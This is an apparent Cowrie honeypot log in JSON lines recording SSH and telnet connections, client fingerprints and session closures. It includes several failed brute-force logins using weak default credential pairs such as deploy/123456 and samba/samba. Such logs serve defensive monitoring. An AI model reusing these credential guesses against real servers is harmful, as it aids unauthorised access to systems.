{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40344,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d3d22547cb7","protocol":"ssh","message":"New connection: 176.65.132.254:40344 (10.17.0.5:22) [session: 2d3d22547cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:21.979334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:21.984857Z","src_ip":"176.65.132.254","session":"2d3d22547cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:22.066850Z","src_ip":"176.65.132.254","session":"2d3d22547cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.71042513847351,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:22.314845Z","src_ip":"62.210.97.77","session":"042b99a7893a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.17532730102539,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:22.337942Z","src_ip":"62.210.97.77","session":"3a748d5097f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:22.657276Z","src_ip":"176.65.132.254","session":"2d3d22547cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.70604848861694,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:22.963143Z","src_ip":"38.54.119.93","session":"c93080f015e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33626,"dst_ip":"10.17.0.5","dst_port":23,"session":"45d1134b394f","protocol":"telnet","message":"New connection: 65.60.27.33:33626 (10.17.0.5:23) [session: 45d1134b394f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:22.996923Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:23.751653Z","src_ip":"176.65.132.254","session":"2d3d22547cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.534499645233154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:25.323467Z","src_ip":"62.210.97.77","session":"5bf54a457eec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.20645093917847,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:25.961147Z","src_ip":"65.60.27.33","session":"fd2c7f4fa2cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35978,"dst_ip":"10.17.0.5","dst_port":22,"session":"6693c87dfa6e","protocol":"ssh","message":"New connection: 176.65.132.254:35978 (10.17.0.5:22) [session: 6693c87dfa6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:26.081794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:26.086885Z","src_ip":"176.65.132.254","session":"6693c87dfa6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:26.170577Z","src_ip":"176.65.132.254","session":"6693c87dfa6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:26.423290Z","src_ip":"176.65.132.254","session":"6693c87dfa6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52348,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b5bd9da5339","protocol":"telnet","message":"New connection: 38.54.119.93:52348 (10.17.0.5:23) [session: 9b5bd9da5339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:26.493127Z"}
{"eventid":"cowrie.session.closed","duration":4.12795877456665,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:27.124772Z","src_ip":"65.60.27.33","session":"45d1134b394f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:27.507996Z","src_ip":"176.65.132.254","session":"6693c87dfa6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35988,"dst_ip":"10.17.0.5","dst_port":22,"session":"2593ed535ace","protocol":"ssh","message":"New connection: 176.65.132.254:35988 (10.17.0.5:22) [session: 2593ed535ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:29.896840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:29.901468Z","src_ip":"176.65.132.254","session":"2593ed535ace","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:29.985380Z","src_ip":"176.65.132.254","session":"2593ed535ace","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41778,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e994a321f1d","protocol":"telnet","message":"New connection: 62.210.97.77:41778 (10.17.0.5:23) [session: 0e994a321f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:30.194570Z"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:30.243492Z","src_ip":"176.65.132.254","session":"2593ed535ace","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.09323978424072,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:30.728224Z","src_ip":"62.210.97.77","session":"06c9e4f071ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.541619539260864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:31.015224Z","src_ip":"62.210.97.77","session":"b1c5bc1e2ce2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:31.339093Z","src_ip":"176.65.132.254","session":"2593ed535ace","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.24299764633179,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:31.776668Z","src_ip":"65.60.27.33","session":"0dde3e62d7f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.09492826461792,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:32.587940Z","src_ip":"38.54.119.93","session":"9b5bd9da5339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.070149421691895,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:32.943167Z","src_ip":"65.60.27.33","session":"d469d510f95d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.423362255096436,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:33.035347Z","src_ip":"62.210.97.77","session":"324f1f8a588f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58336,"dst_ip":"10.17.0.5","dst_port":22,"session":"c61f0b69cdb0","protocol":"ssh","message":"New connection: 176.65.132.254:58336 (10.17.0.5:22) [session: c61f0b69cdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:34.044675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:34.049478Z","src_ip":"176.65.132.254","session":"c61f0b69cdb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:34.131934Z","src_ip":"176.65.132.254","session":"c61f0b69cdb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:34.378863Z","src_ip":"176.65.132.254","session":"c61f0b69cdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:35.463945Z","src_ip":"176.65.132.254","session":"c61f0b69cdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.967981576919556,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:36.987403Z","src_ip":"62.210.97.77","session":"b14882dca601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.17684245109558,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:37.507435Z","src_ip":"62.210.97.77","session":"bdf2cfb52aa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49106,"dst_ip":"10.17.0.5","dst_port":23,"session":"345c3ecddefc","protocol":"telnet","message":"New connection: 65.60.27.33:49106 (10.17.0.5:23) [session: 345c3ecddefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:37.668412Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58346,"dst_ip":"10.17.0.5","dst_port":22,"session":"9415dec5a2ad","protocol":"ssh","message":"New connection: 176.65.132.254:58346 (10.17.0.5:22) [session: 9415dec5a2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:37.866960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:37.871616Z","src_ip":"176.65.132.254","session":"9415dec5a2ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:37.956330Z","src_ip":"176.65.132.254","session":"9415dec5a2ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":59020,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab1d9fbb676d","protocol":"ssh","message":"New connection: 156.232.13.218:59020 (10.17.0.5:22) [session: ab1d9fbb676d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:38.026667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:38.031905Z","src_ip":"156.232.13.218","session":"ab1d9fbb676d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:38.105120Z","src_ip":"156.232.13.218","session":"ab1d9fbb676d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:38.245467Z","src_ip":"176.65.132.254","session":"9415dec5a2ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"server123","message":"login attempt [test/server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:38.433961Z","src_ip":"156.232.13.218","session":"ab1d9fbb676d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49992,"dst_ip":"10.17.0.5","dst_port":23,"session":"45a62c608f26","protocol":"telnet","message":"New connection: 165.232.131.181:49992 (10.17.0.5:23) [session: 45a62c608f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:38.824540Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:39.339622Z","src_ip":"176.65.132.254","session":"9415dec5a2ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.89223837852478,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:39.351190Z","src_ip":"38.54.119.93","session":"ae211c793696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:39.513529Z","src_ip":"156.232.13.218","session":"ab1d9fbb676d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.46109199523926,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:40.119065Z","src_ip":"38.54.119.93","session":"23cd3ce38851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59524,"dst_ip":"10.17.0.5","dst_port":23,"session":"733fd94f1d66","protocol":"telnet","message":"New connection: 62.210.97.77:59524 (10.17.0.5:23) [session: 733fd94f1d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:40.932736Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59538,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5147b34beaf","protocol":"telnet","message":"New connection: 62.210.97.77:59538 (10.17.0.5:23) [session: a5147b34beaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:41.267417Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58358,"dst_ip":"10.17.0.5","dst_port":22,"session":"631acec85efe","protocol":"ssh","message":"New connection: 176.65.132.254:58358 (10.17.0.5:22) [session: 631acec85efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:41.946181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:41.951258Z","src_ip":"176.65.132.254","session":"631acec85efe","protocol":"ssh"}
